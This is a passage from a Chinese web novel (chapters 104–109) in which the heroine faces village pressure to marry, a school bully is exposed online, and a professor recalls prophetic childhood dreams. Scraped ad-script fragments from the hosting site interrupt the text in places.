“那孩子长得可俊了,刚好比你小三岁,幺儿,你说刚不刚好,也就是你这死丫头一声不吭离开村子的那年,这孩子的母亲因病去世,孩子外公外婆没能力继续养着孩子,所以带着孩 子找上李大海父母。” 妇人像是卖关子般,故意停顿了下。 “幺儿,你都不知道,当时那认亲的场面,可感人了,李大海父母那天掉的眼泪,要是拿碗去接铁定能接满满一碗。” “可怜见的,原以为唯一的儿子死了,老两口努力那么几年也就再生出了个丫头片子来,之后就再没动静,如今或许连老天爷都被这老两口求子的心感动了。” 妇人似是觉得自己讲到正精彩时,对面一点反应都没有,她又扯着嗓子问,“幺儿,你还在听吗?” 白幺幺脸色已经没一开始的白,恢复了些许血色,只是周身笼罩在低气压中。 她依旧是冷冷的回了个“嗯”。 电话那头的妇人讲得正起兴,得了回应,也不管对面人语气的不对劲,继续倒豆子似的噼里啪啦讲起来。 “孙子啊,那老两口都已经绝望了,老天爷就给他们送来个孙子,还是已经长成十几岁的孙子,再过个几年就能给他们老李家传宗接代的孙子。” “那老两口能不激动,那眼泪能不哗啦啦的流,换成我也要哭他个一天一夜。” “尝过失去儿子的痛,这回两人可把好不容易得来的金孙护得跟眼珠子似的,就连孩子那几个嫁出去的老姑也一样,对这孩子好着了。” “没办法,她们弟弟早早就没了,原以为等两老也走了,她们就彻底没个娘家可以依靠,真真是那个什么风什么转的……” 妇人停顿思考了下,拍着大腿道:“峰回路转,对对,峰回路转,幺儿,我跟你说,你赶紧把工作辞了,赶明儿就回村来。” “好好的一个俊俏小伙子,偏生让你姑给害得三十了还娶不到老婆,早几年李家人就来村里闹过,只是你走得一声不吭,村里人也是好几天都没见到你,以为你出事了,才爬墙进你家里,不然都不知道你个死丫头竟然走了。” “没人知道你在哪,李家人再怎么闹,最后也只能无功而返。” “不过,这不是年初咱村那个妮儿她……” 第104章 禁欲教授与被霸凌小可怜的反转人生(43) 妇人话说一半,收住了,话锋一转。 “幺儿,我跟你说,咱们做人要有良心,当年那事你姑做得的确有些过了,好好的干嘛把人弄进监狱去,不然人家能年纪轻轻就死在里面。” “现在人家儿子就因为有个坐过牢的父亲,本来读了个好大学的,可是出来就因为这,没个好单位愿意要他,人也灰心丧志的回到村里来,愣是不去工作了。” “这能不把李家两老急死了,农村人讲究个先成家后立业,两老和孩子的几个老姑稍微一合计,就开始给这孩子张罗结婚的事,只是现在的孩子哟,都有自己的想法。” “一听这孩子父亲犯过的事,还坐过牢,连相看都不愿意相看,眼看孩子越拖年纪越大,两老身体一天不如一天,他们急了,急着想看孙子成家,盼着入棺材前能抱上曾孙。” 白幺幺听到这,嘴角勾起一抹阴冷的笑。 “所以,他们把主意打到我身上了。” 那妇人似乎意外白幺幺会突然插话,愣了下,才呐呐开口。 “是,是啊,这缘分啊,缘来缘去的,终究你们两家就是要结亲的命,当年要是你姑没犯傻,说不定现在都抱孙子当奶奶了,何至于早早就没了。” 白幺幺皱眉,暗自在心中冷笑,这村子里的人还真是健忘的,原主她姑为什么会没的,她们不知道。 听到现在,基本信息也了解个大概了,白幺幺想到一个关键问题。 她问道:“你是谁?还有你是从哪里拿到我的电话的?” 原主离开村子已经十几年了,期间没和村里任何人联系过。 原剧情中,也是原主跳楼死后,学校根据原主登记的相关户籍信息,几经辗转,电话才打到村里。 也是这时村里人才知道她离开村子后原来是去某大学工作了,只是现在人死了,校方想问原主在村里还有什么亲人,旁亲也行,看能否抽空来处理下原主的后事。 一开始村里一些聪明人想到人在外面工作那么久,总会有点存款的,就问如果去帮忙处理后事,到时遗产是不是就归他了。 只是原主因为做好终生不婚的打算,又觉生命无常,早早立下遗嘱了,死后将所有东西都捐给她闲暇时会去做义工的某家孤儿院。 原主其实很喜欢孩子的。 那妇人没想到白幺幺会问这个问题,沉默了会儿,才粗着嗓子嚷起来。 “幺儿,我是住你隔壁的秋月婶子,我可事先先说了,我才没无聊去查你。” “这不是我儿子出息了,在大城市工作还买了房,上个月把我接过来享福,前几天我在小区旁边的公园散步,遇到了个姐妹,就和她聊了几句,没想到她一听我来自守贞村的,就说她有个同事也是和我同村的,简直太巧了。” “我好奇一问,才知道那个同事就是幺儿你,当然幺儿你也别误会,我可不是什么长舌妇,对方一直想问更多关于你的信息,我可是什么都没说,最后只是从对方那要了你的电话。” 那妇人似是想到什么,颇有些心虚道:“幺儿,本来我也不想和你打这电话,只是昨天我接到村里姐妹的电话,听说李家又带人到村里闹了,我一心急就说秃噜嘴了,把打听到你的消息说出去了。” 白幺幺再次在心中冷笑,把她电话给出去的人,不用想,就是陈丽华无疑了。 至于电话那头的人,能不心虚吗? 就因为她的心急说秃噜嘴,要不是白幺幺来了,要是那天原主没跳楼,等待原主的将是什么,光想想都让人觉得窒息。 所以这人打电话过来,长篇大论说一通,也不过是想消去她心中少之又少的负罪感。 “幺儿,你也别怪婶子说你,那么大的年纪了还不结婚,再过几年可真就送人都没人要了,李家那孩子,婶子见过,模样长得周正俊俏,还是名牌大学生,你配人家还算高攀了。” 那妇人开始苦口婆心起来,“咱们女人啊,这辈就是嫁汉嫁汉,穿衣吃饭,你也别学你姑当那个犟种,婶子是过来人,不会害你的。” “你听婶子的话,回去嫁给李家那孩子,和人家好好过日子,以后儿孙绕膝,有你享福的命。” 白幺幺已经听得有些麻木了,妈的,都是些什么奇葩言论。 在原主记忆中翻找一通,她找到关于电话那头人的一些信息。 “那个秋花婶子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是吧,我记得你有个小女儿,今年应该二十四岁,还是二十五岁?” 妇人不知道白幺幺为什么突然提起她小女儿,不过还是赶忙纠正道:“我小女儿已经二十六岁了,刚大学毕业没几年,这段时间正辞职在家准备考公了。” 白幺幺呵呵道:“这样啊,听起来你女儿应该也还没结婚,既然那个谁那么好,你应该赶紧带着你女儿回去,还考什么公,女人么不就是嫁汉嫁汉穿衣吃饭,早早回去结婚生子,也好早点享受儿孙绕膝的幸福生活。” 白幺幺话说得阴阳怪气的,最重要的是还把自己最疼爱的小女儿攀扯进去,妇人当即就急了,语气甚至带上几丝尖锐。 “幺儿,你在说什么胡话,我女儿可是金贵的大学生,等考公成功了,那可是要吃公家饭的, 未来是要找大城市户口的青年才俊结婚的。李家那孩子别说我小女儿,就是我都瞧不上。” “哼,还有他爸犯了事,可是有案底的,我女儿要是嫁给他,不说她自己的下半生就毁了,我的宝贝外孙们的未来也跟着毁了,以后考公参军等等都会被限制……” 白幺幺笑了,笑得很冷,她把手机放床上,然后啪啪鼓起掌来。 电话那头的妇人这时也反应过来,自己因为一时激动都说了些什么,下意识的梗着脖子找补起来。 “幺儿,我小女儿情况和你不一样,你和我小女儿是不能比的,咱们做人最重要的是要认清自己,别好高骛远,明明是丫鬟的命却有个小姐的心这真的要不得。” 白幺幺扭动了下脖子,困意啥的已经完全不存在了。 “说完了吗?”她冷声问。 妇人:“……完……完了。” 之后回应妇人的就是一串嘟嘟声,白幺幺把电话挂了。 白幺幺之所以容忍对方说那么多废话,那是因为有些东西光看剧情,有时候还是差了点什么。 亲耳听听,就不一样了。 看了下时间,白幺幺下床去行李箱中拿出笔记本电脑来。 刚刚那个叫春花还是秋花的还真是管不住嘴呀,总是喜欢说秃噜了嘴,就比如那句“年初咱村那个妮儿她……” 第105章 禁欲教授与被霸凌小可怜的反转人生(44) 那个陈丽华还真是,说她坏吧,却没像陈雅恬那样坏在明面上,坏得光明透亮。 怎么形容了,白幺幺觉得她就像阴沟里的老鼠,浑身带着股恶臭,喜欢背地里使坏,然后时不时蹦跶到你面前来恶心你。 原本是想留点事给某人做,让某人有表现的机会,不过现在,有些人既然提前找死,她有什么理由不满足呢。 白幺幺往椅子上一坐,挽起袖子,打开电脑正准备大干一场时…… 这些是? 白幺幺同志的表情有那么一瞬间的怔愣,随即刚刚因为那通电话受到影响的情绪一下子被治愈到了。 她脑中一时冒出了“男友力爆棚”这个网络热词,真的很适合沈教授。 他们灵魂是半夜才换回去的,这人竟然在过来找她前 就把事情处理了,甚至过来后,什么都没和她说。 此时网上已经吵翻天,陈雅恬因为那晚身心遭受巨创,这几天人都不在状态中,到现在人还浑浑噩噩,根本无心刷手机。 或许因为陈丽华是长辈,那晚曾明凯再怒火中烧,也只是在人脖子上留下一圈瞧着就恐怖的掐痕。 理智尚存,把人甩开后,他就去找陈雅恬发泄了。 实在是曾明凯以前在她们面前的形象太好了,这突然变了副面孔,姑侄俩一时真的难以消化。 手机突然响起,把还窝在被子里舔舐伤口的陈雅恬狠狠吓了一跳。 特别是看到来电显示明凯哥哥时,她无神的眼眸霎时睁大,眼里透出恐惧来。 想到那晚的事,她没敢不接。 电话一接通,曾明凯的怒吼声传了出来。 “陈雅恬,你他妈做事时就不能聪明点,把扫尾工作做好了,让人抓不到把柄。” “妈的,我告诉你,这事要是把我牵连进去,你就死定了。” “艹,我是倒了八辈子的霉才与你这种蠢货认识,有牵扯。” …… 电话里还不断有声音传出,可陈雅恬已经被吼懵了。 光听到曾明凯气急败坏的声音,她身体就本能的瑟缩了下,之后整个人恍恍惚惚的,不在状态中。 曾明凯发泄式的一阵输出后,发现对面始终很安静。 他咬着牙语气阴狠的低吼:“说话,你哑巴了吗?我要你保证,到时无论谁问起,都不要提起我的名字,那些不过是你的个人行为,至于为什么这么做,看不爽对方或者其他,反正不要把我牵扯进去就行。” “明……明凯哥哥,你在说什么?我听不懂。” 可能是刚睡醒,也可能是很久没说话,陈雅恬的声音有些沙哑。 曾明凯一听她这话,再次怒吼。 “妈的,你听不懂,你没看今早的热搜吗?没看赶紧上网去看,还有我刚刚说的话记住了吗?” 热搜? 陈雅心里莫名的开始惴惴不安起来。 她点了点头,“我这就看,还有我都记住了。” 等挂了电话,站在门外手里还拿着锅铲的陈丽华才走了进来。 “恬恬啊,刚刚明……曾明凯那是什么意思,这孩子真不是个东西,他就是个小坏种,姑以前看走眼了。” 陈雅恬轻轻摇了摇头,“不知道,他让我上网看热搜。” 陈丽华想了想,催道:“那你快看看,别是发生了什么大事。” “嗯。” 陈丽华暂时没离开,静静站旁边等待。 只是她看到陈雅恬在手机上划拉几下,没一会儿那小脸刷的变色了,而且随着时间一分一秒的过去,那脸色越来越差,拿着手机的手甚至都开始颤抖起来。 陈丽华心一下子提了起来,她小心翼翼的问,“恬恬,你看到什么呢?” 她这一问,本就已经在崩溃边缘的陈雅恬直接爆发了,她啪的把手机摔床上,神色惊慌无助的看向陈丽华。 “姑,怎么办,我该怎么办,我欺负同学的照片还有视频全都被人发网上了,被我欺负的人都打了马赛克,就只有我的脸完完全全露了出来。” “这到底是谁做的,太过分了,他怎么可以这样……” 陈雅恬快哭了,她一拳砸在被子上,“姑,现在全网都在声讨我,还有人骂我小小年纪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就这么恶毒,怎么不去死……” 陈丽华一时愣住了,脑中来来去去就是那句“怎么会这样,完了,都完了。” 互联网社会,大家对网曝一词都不陌生。 有些人因为一件不怎么过分的小事,都可能被网曝致死。 陈雅恬做的那些事,单独一件件拎出来,做家长的还可以为宽慰说自己孩子不懂事,偶尔犯犯错没事的。 也可以说小孩子么,犯个一两次错,很正常的。 人无完人,孰能无过,要给人改过自新的机会。 可是现在不一样了,那一件一件的被罗列汇总在一起,数量之多,情节之恶劣。 而且这些还被公开放到了网上,会引起的民愤,造成的轰动可想而知。 有些家长,自己的孩子在学校被欺负了,因为孩子的隐瞒,还有家长自己的疏忽。 如果没有网上这则爆料,这些家长或许这辈子永远都 不会知道自己的孩子曾经遭遇了什么。 陈丽华以前只是有个概念,侄女在学校经常欺负同学,她唯一见过侄女动手,就是教训白幺幺。 怎么说,她当时心里隐隐还有丝快感。 等她自己神色凝重的捡起手机,粗略扫视完上面的内容。 她的脸色已经不能用差来形容,拿着手机的手都哆嗦起来了。 第一次直面侄女的恶毒,陈丽华自诩她不是个什么好人,看了那些视频和照片,她都有想打死这个侄女的冲动。 但是她知道这个时候冲动是解决不了问题的。 她是大人,看问题比陈雅恬看得长远,她知道自己这个侄女算是废了。 很快被她侄女欺负过的那些同学的家长就会找上门来,或许卖了这套房子都不见得能将事情摆平了。 作为侄女现在的监护人,陈丽华第一时间想到了她自己存款。 还有有这么个名声臭了的侄女,她未来怎么找到好对象,以后她的孩子被扒出有这么个表姐…… 陈丽华越想越觉得未来艰难,她之前真的有想过要阻止的,只是恬恬被她哥宠坏了。 第106章 禁欲教授与被霸凌小可怜的反转人生(45) 还有,一次两次的…… 恬恬平平静静的初中毕业了,后来也顺利的高中毕业了。 陈丽华承认她之前不是没有过担惊受怕,担心哪天人家家长打上门来。 可后面不是一直没出事,她也就抱着侥幸心理到现在。 甚至,她还出于私心的利用侄女对付白幺幺。 只是现在完了,全完了。 如果她们有钱,很有钱,她可以放弃国内的一切,立马带着侄女去国外重新开始。 可是她们没有。 陈丽华越想越觉得未来灰暗,目光落在正坐床上无助哭泣的陈雅恬身上,她想也不想就是一巴掌打过去。 “我打死你个糟心玩意,早让你控制下脾气,控制下脾气,你不听。” “你把自己害死就算了,我这个做姑姑对你那么好,到头来还要受你个糟心玩意连累。” “现在知道怕了?早干嘛去了,一个女孩子小小年纪不学好,天天沉迷于情啊爱啊的,为的还是曾明凯那种货色,你说你是不是蠢啊!” “我看啊,不仅蠢还恶毒,有你这样的侄女让我以后怎么出门。” “还有,妈的,我哥就是倒了八辈子血霉才娶了你妈,生了你这个来讨债的,你就是完完全全遗传了你妈,我们老陈家真真是上辈子欠了你们母女俩的。” 陈丽华越说越气啊,上手又给了陈雅恬一巴掌。 她哥去世前,就跟怕她抢了侄女的这房子似的,早早就将房子过户到侄女名下,自家妹子都信不过,当时她心中多多少少就有怨言。 现在这怨被彻底释放,陈丽华都有种想打死这糟心侄女的冲动。 没事为了个小坏种在学校不学好,欺负霸凌同学,前几天还让她差点被那个小坏种掐死。 陈雅恬被陈丽华第一巴掌打懵了,都还没回神,又被打了一巴掌。 本就不是什么好脾性人的,这段时间还诸事不顺,心里早就压抑极了。 脑袋被这两巴掌打得嗡嗡响,陈雅恬再也忍不住了,直接暴起和陈丽华撕打起来。 …… 既然陈雅恬那边沈教授已经出手了,陈丽华这段时间肯定也跟着讨不了好。 白幺幺这边就先观望,让子弹再飞会儿,最后她补下刀。 不过世事难料,有些人根本等不到她补刀,就已经把自己作死了……那种死得不能再死的,当然这是后话。 大数据时代,有心想查什么,还是很容易的。 白幺幺目光停留在电脑屏幕上,而上面显示的是一则“我不想死,我也不想嫁人”的帖子。 这是一则求助帖,只不过热度很低,已经发了有一个多月,浏览量才堪堪破百,目前浏览量一百零三。 至于收到的回复刚好一个巴掌,还都是些没营养的回复。 帖子有三千多字,发帖人叙事能力有限,当今社会很多人都比较没耐心,能沉住气看完的有限。 发帖人叫“做抔有梦想的泥”,帖子讲述的是发帖人有天在家里洗澡时,突然身体不适晕倒了,弄出的动静比较大,惊动从她家旁边路过三个村民。 发帖人家住的还是那种老式农村小院,主屋、厨房、卫生间是分开的。 当时发帖人家里院门没关,村民先是探头往里瞧了瞧,连喊好几声都没人回应,后来发现卫生间门紧闭,他们直接破门而入。 事后所有人都说他们是出于好心和救人心切才破开卫生间的门,。 可他们难道不知道那是卫生间,门后面的景象可能是他们三个大老爷们需要避讳的。 发帖人认为他们其实应该去田里喊她的家人回来,或者出门就近喊两个村里妇人过来。 可三人都没有,同样声称救人心切,当时顾不得想那么多,破门而入时直接将发帖人的身体看光光了。 这事后,有点流言蜚语是一定的,可是发帖人出生在一个比较特别的村子。 没错的,这个发帖人就是来自守贞村,白幺幺通过一定的技术手段,定位到发帖人位置的。 那三个人破开卫生间门后,争抢着抱发帖人,抱起人后只是简单在人身上盖了块浴巾,然后就急匆匆的抱着人往村里的小诊所跑去。 这一路上吸引来的目光可想而知,而且还有人拿手机 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拍照录视频。 反正此事过后,发帖人在村里的名声急转而下。 要不是那三个救了她,也看光她身体的男人都已成家有儿有女,发帖人或许就要被逼嫁给这三个其中一人了。 事后是没人在她面前直言她遭此事,名声坏了,哪还有脸活着,该去死。 可是只要她一出门,村里人看她的那种眼神,还有隔老远都能听到的各种闲言碎语,以及在家里时父母见了她总要唉声叹气一番。 发帖人感觉所有人都想逼她去死,而且从小生活的村子是什么样的,她最清楚了。 真真应了那句话,发生在别人身上叫故事,发生在自己身上的才叫事故。 从小到大听着村里的各种故事长大,毕竟是发生在别人身上的,就跟刀没割在自己身上,永远无法感同身受。 帖子的字里行间,无不透露着发帖人 承受着多大的精神压力。 她不断给自己做开解,告诉自己都什么年代的,不就是几个男人看光光,没事的。 同时她也表达出对那三个救了她男人的恨,她反复强调当时明明有很多更好处理方式的。 可是那三个平时瞧着敦厚老实的叔叔伯伯,没想到会是这种恶心龌龊的人,他们把她毁了,把她一生毁了。 她想过要报复,可是她只是个二十几岁的小姑娘,她能做什么? 碍于流言蜚语,他爸妈开始给她相看对象,可是那些人的条件,她真宁愿这辈子不结婚,也不想嫁给那样的人家。 是,她高中毕业就进厂打工了,比不上那些大学生。 可她向往婚姻,期待着找一个各方面条件和自己相配,情投意合的对象。 为什么只是一场意外,她的人生就全乱了,变得没有选择了。 而且经历这事后,她最想做的就是逃离这个生她养她的地方,她甚至憎恨起这个地方来。 所以,哪怕来谈亲的男方条件有那么个还可以的,她也不会同意的。 原以为只要她拒绝掉所有的相亲,坚强的熬过这段时间,久而久之人们就会淡忘掉这件事的,可是不是的…… 第107章 禁欲教授与被霸凌小可怜的反转人生(46) 看完帖子的全部内容,白幺幺只能说事赶事,巧上加巧。 发生那样事的发帖人她就像是烂白菜,只能贱卖,这成了周边所有人的共识。 李家老两口为了孙子早日成家,也是豁出去了。 多次来守贞村闹,也闹不出原主的下落,后来听说了发帖人事,心思一转,改上门想要求娶发帖人。 李家人想得很好,就发帖人那样身子都让人看光,名声也坏了的,配他们孙子还算高攀了。 李家人那如意算盘打的是啪啪响,可惜发帖人死活不同意这门亲事。 农村里,结亲不成反结仇的例子还挺多的,有些就算不结仇,关系也会变淡了些。 毕竟结亲结不成,总是因有一方看不上另一方。 不管是因为被瞧不上而自尊心受创,还是因为瞧不上对方又不想让人说眼光高挑剔之类的,有些人总喜欢先下手为强的去泼另一方的脏水。 李家老两口和几个外嫁女儿一听发帖人竟然敢拒绝她们家的宝贝独苗苗,哪里还能忍,开始四处败坏发帖人的名声。 打着什么心思,明眼人都懂,想逼着人最后别无选择,他们好“捡漏”呗。 白幺幺抱臂思考了下,既然对方发帖子想在网上求助,那她就帮忙给帖子加点热度,让事情在网上发酵一下。 她刚好可以借这个帖子为引子,一点一点的将守贞村存在的问题展现出来。 有时候,不破不立。 想到那个春花还是秋花的,白幺幺免不了轻皱了下眉。 一方水土养一方人,这老婶子都培养出几个有出息的孩子了,没想到思想觉悟还是没跟上。 白幺幺浅浅勾唇,她可是个乐于助人的好同志。 还有吧,人有时候就是不能太闲,嘴巴也不能碎,不然容易给自己招来祸端。 白幺幺只是小惩大诫让老婶子家未来鸡飞狗跳一段时间。 做完一切,白幺幺看了下时间,已经十一点半了。 她把电脑收回行李箱中,抱膝坐到床上开始酝酿情绪。 沈之牧一下课,就拿着自己的东西离开教室,拖堂是不可能拖堂的,一秒钟都不可能。 当然他以前也没拖堂,但真没像今天这般走得比学生还快。 沈之牧不知道的是他才离开教室,好些学生面面相觑了下,眼里都传达出相同的意思。 哟,沈教授这是急着去见对象吧,绝对是了。 来到宿舍门口,沈之牧下意识的还理了理领口,才开始敲门。 “幺幺,你醒了吗?” “……醒……醒了,沈教授你进来吧。” 白幺幺把脸从膝盖上抬起来,双颊有点被闷红了。 门没落锁,沈之牧直接推门进去。 瞧见白幺幺神色似乎有点恍惚,他只以为人才睡醒,还没缓过来。 “中午想吃什么?” 白幺幺强打起精神来,很努力不想让人看出端倪来的模样,“就吃食堂吧。” 沈之牧不动声色的蹙了下眉,十分自来熟的走到屋里某个位置拿起一把黑伞来。 “走吧,我们现在去食堂。” 白幺幺穿好鞋才从床上站起来,沈之牧不知道什么时候站到她旁边,很自然的牵起她的手。 沈之牧是个做什么事都很专注的人,看人的时候也一样。 放往常,幺幺被他牵手时,虽没那么容易脸红了,但还是会小小害羞的微低下头或者不自在的蜷缩下手指。 只是他刚刚牵起幺幺的手时,明显能感觉到人有点魂不守舍,一副心事很重,却拼命佯装什么事都没有的样子。 沈之牧将手中的雨伞搁到旁边的桌子上,随后执起白幺幺的另一只手,两人面对面的。 “幺幺,早上是有谁过来了吗?还是发生了什么?” 有些人真的很简单,心思简单,真的很好懂的。 白幺幺眼眸睁大了一圈,像是意外沈之牧为什么会这么问,又像是意外对方怎么发现的。 沈之牧抬手落在女人的后脑勺上,轻轻抚摸着女人的秀发,女人的头发又柔又顺。 他没忘记之前吹头发时,这一头秀发在他指尖缠绕时的感觉。 他自诩不是什么变态,却爱极了轻抚女人秀发的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 动作。 白幺幺有些不自在的动了动脑袋,却没移开,任由男人的手在她头上作为,别说还挺舒服的。 “不是,早上没有人来,沈教授,我们去吃饭吧。” 白幺幺很努力的挤出一抹笑来,本来就长着一张不符合这个年纪的娃娃脸,这一笑真的把沈教授心疼坏了。 没办法,脸长的嫩真的很容易让人忽视掉年龄。 而且,沈之牧出现在幺幺的世界里,一直都是以更成熟强大保护者姿态的。 人要努力不断让自己变得强大,强大才有底气,可以随意活成自己想要的样子。 但谁说强大的人,就一定要时刻把自己的强大表现出来,不需要别人的保护了。 说真的,白幺幺越来越喜欢她现在这份“特殊”的工作,可以让她尽情的去尝试不同的人设,不同的性情,沉浸式体验不同的人生。 “幺幺,告诉我,早上是不是发生了什么?” 四目相对,沈之牧根本不给人眼神闪躲的机会,他眼里的关心之色清晰可见。 似是在沈之牧的目光逼视下,白幺幺终是绷不住了。 她一把扑到男人的怀中,委屈的哭起来。 有些人就是会控制不住的怯弱,她们总是会对一些还未发生的事提前担心焦躁起来。 横亘在两人之间的问题,是原主一直害怕让人知道的过去,是可能化身为一把利刃再次伤害到原主的过去。 而在爱情中,即使再自信的人,也会有自卑的时候。 沈之牧他懂白幺幺,知道了她的过去,可是白幺幺应该要不知道沈之牧已经知道了的。 所以现在是个很好敞开心扉的时机。 爱情中,遇到对的那个人,他会心疼你的过去,你经历的一切不好。 哭了几声,白幺幺同志就开始委屈外加有点义愤填膺的告状。 “沈教授,那个什么花的太坏了,她竟然把我的消息透露给我老家村里人。” “她今天突然打电话给我,一开始我以为是沈教授你打来的,就接起来了,她噼里啪啦说了好多话,我都找不到插话的机会。” 第108章 禁欲教授与被霸凌小可怜的反转人生(47) 白幺幺皱了皱鼻子,那小表情委屈极了。 对于告状这种事,白幺幺同志不会添油加醋,但也不会含糊。 “她打来电话开头第一句话就是让我赶紧从学校辞职,然后回去嫁人,就连嫁的人选都帮我决定好了。” 说到这,白幺幺神色变了变,眼眸中划过一抹极其复杂的神色。 沈之牧在听到嫁人两个字时,黑眸一凝,因此错过了白幺幺那一闪而过的复杂神色。 他一把将人揽进怀里,下巴轻轻抵在女人发顶,声音清冽温柔。 “幺幺,别听那人的,嫁人是很严肃的一件事,要按照自己的想法来,还有,我们……” “都已经那样了,你知道的,我也是个保守的男人,你是不是……该考虑对我负责的事,当然,幺幺你别误会,我不是在逼你对我负责。” 沈之牧停顿了下,声音一如既往的好听,却夹杂着落寞、痛苦、难受、隐忍…… “没事的,如果……幺幺你觉得为难,其实就像之前在咖啡馆那个算命大师说的,或许我这辈子就是终身无婚的命。” “幺幺,你别想那么多,就当我刚刚的话没说,千万别有什么心理压力,一切你只要跟着心走就行,不过……” 沈之牧语气陡然变了变,依旧很温柔,却透着丝丝不易察觉的寒气。 “那个什么花的话你别听,结婚是一辈子的事,她是谁,凭什么在这种事上做你的主,哪怕是为人父母也该尊重子女的婚姻自主权。” 白幺幺:”……“ 她卡壳了,那种被抢戏了的感觉是闹哪样。 沈教授……保守的男人……求负责…… 白幺幺同志心里想,就这样吧! 她还拧巴个什么劲。 戏……嗯……对上这样的沈教授还有唱下去的必要吗? 当然,状还是要告的。 只是继续告状前,白幺幺还是先挣扎的离开男人的怀抱。 怀中突然空了的那一瞬,沈之牧双手僵在半空中,一下子无所适从,心也蓦然一紧。 目光落在女人脸上,一瞬都不敢移开,生怕错过女人脸上的任何一丝表情变化。 然后就见从他怀中退开的女人鼓了鼓腮帮子,瞪着大眼睛,一脸不赞同的看着他。 “沈教授,你怎么可以这样想,灵魂互换这种事不是我们能左右的,互换期间的一些情况是不可避免的,再说了,那……那如果和你灵魂互换的不是我,是……是……” 女人皱了皱眉想了几秒,才憋出一个名字来。 “陈丽华” 女人还用力的点了点头,“对,如果和你灵魂互换的是陈丽华,你难道也会因为灵魂互换时,被她看光光身体,就要她对你负责。” 女人说话时绷着小脸,末了还懂得换了个说法,“还是,陈丽华拿被你看光光的事让你负责,你也会真的负责,娶了陈丽华。” 沈之牧知道这个时候他不应该笑的,不然本来就有点炸毛的女人,那小脸应该会直接鼓成气球,只是他真的忍不住,心里的快乐都溢出了胸腔。 他懂,他都懂的,他的幺幺在乎他,这是在关心他。 沈之牧重新执起白幺幺的手,表情和语气都是前所未有的认真。 “幺幺,首先和我灵魂互换的就是你,你的假设不成立。还有,解决问题的方式有很多种,不单单只有结婚,而我不是那种会拿自己婚姻开玩笑的人。” 言外之意就是他的保守那是看人的,负责与被负责,那也是看人的。 白幺幺同志暗暗在心中哼哼,男人的嘴果然是骗人的鬼,要不是她拥有上帝视角,就要被这男人骗了。 哼,没想到就连沈教授也逃脱不了男人的范围!!! 白幺幺后知后觉的反应过来上面那句话很有毛病,沈教授要是逃脱了男人的范围,那他不就不是男人了…… 她一下子被自己的想法逗乐,一时忘记自己刚刚可还在对沈教授恨铁不成钢的一阵输出,噗嗤笑出声来。 沈之牧:“???” 黑眸中划过一丝无奈和宠溺,手也再次摸上女人的发顶。 他没问女人在笑什么,却因为看到她的笑,脸上也跟着浮现起笑意。 笑完,白幺幺不自在的摸了摸下巴,轻咳两声后才继续没告完的状。 换了个心境,白幺幺不再带着纷杂情绪讲 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 话,就是说到让人气愤处时,会气鼓鼓的哼哼两声,却没有红眼眶哭鼻子。 沈之牧一边很认真的听着女人讲,大部分的内容他提前已经知道了,此刻却安静的当个听众。 与此同时,他难得一心二用,脑中闪现过好几个片段画面。 “道长,最近在我身上发生了一件让人匪夷所思事,算是很奇特的经历。” “可同时我又开始断断续续做起梦来,梦中与我一起经历这段奇特经历的却另有其人。” “梦中我虽然看不清她的脸,可是不管是声音还是身形,我可以肯定在现实中没有见到过这人。” “道长,你说为什么会这样,为什么不是那个人,却又要我做那种梦。” “道长,我看清梦中人的脸了,我 还知道了她的名字…她有个很好听很好听的名字……梦里她会委屈的抱着我哭……会害羞的对我笑……会……” “这一次梦醒后,我在现实世界中疯狂想要寻到她……最后才发现她原来离我那么的近……还有她……死了……” “道长,我最近越来越频繁的梦到她了,梦里我们一起做了很多很多事,怎么办,我快分不清楚梦境与现实了……” “……道长,我,那晚我明明感应到什么了的,可……可我还是因为自己的先入为主、自以为是,转身离开了,不然……不然我起码能见她最后一面的……呜呜……” 男人说着说着终是崩溃了,抱头蹲在地上哭得像个孩子,周身被悲伤与绝望笼罩,仿若被全世界抛弃般。 “道长,我该怎么办,不该是这样的,明明梦里……” “道长,我该怎么办……” …… 男人神色癫狂的拽着道长的衣袍,“道长,真的吗?只要我和那个女人结婚……下辈子……我和她下辈子就能像梦中那般相遇,不会再错过吗?” …… “好的,谢谢道长,我知道该怎么做了。” …… “……不……不要……不要跳……” 黑夜中,小小孩童双目紧闭,眼角溢出晶莹泪滴,小脸不知是被汗淌湿的,还是被泪,嘴上无意识的呢喃。 第109章 禁欲教授与被霸凌小可怜的反转人生(48) 沈之牧很小很小时就开始断断续续梦到一个男人,梦里他看不清男人的脸。 他就只能看到男人好像在和谁说话,但他却看到另一个人的身影。 还有在梦中,他只能听到男人的声音,也能清晰听到他在说什么。 每一次梦中听到的内容都不一样,小沈之牧只以为自己一直在做一个很奇怪的梦,并没有当一回事。 可是,多做几次梦后,他慢慢会受到梦中男人情绪的影响。 随着做梦次数的增多,小沈之牧发现自己变得很奇怪。 怎么说,他好像能共情梦中男人的情绪。 每次半夜从梦中醒来,小沈之牧就再也睡不着了,那种不符合这个年纪的情绪在他小小身体上呈现,已经严重影响到他了。 小沈之牧从小就聪慧,记忆力超群,梦里男人的话,他梦醒后都还记得,可是下意识的他没告诉任何人。 断断续续做了两个多月的梦,这天晚上,梦的内容有了变化。 梦中。 小沈之牧不仅看到了男人的身影,他还看到了另一个女人的身影。 女人站在很高很高的楼顶,男人在她身后歇斯底里的喊着。 “下来,不要跳,快下来,我求你下来”, 可是女人像是没听到男人的声音般。 女人的身体急速下坠,伴随着男人凄厉绝望的声音。 睡梦中的小沈之牧身体无意识的蜷缩成一团,手捂在心口处,像是在承受着巨大疼痛般。 视线随着男人视角移动,小沈之牧第一次看到了原来红色在黑夜中可以红得如此震撼人心。 这次醒来后,小沈之牧变了,变得沉默寡言,原本就很少笑,现在是直接不笑了。 之后他没再梦到那个男人,可是他连续好几夜梦到那个女人跳楼坠地的画面。 还是沈母发现孩子的不对劲,只以为孩子不小心沾染了什么不干净的东西。 她推掉所有的工作,带着孩子去拜访了一个在这方面很厉害的友人。 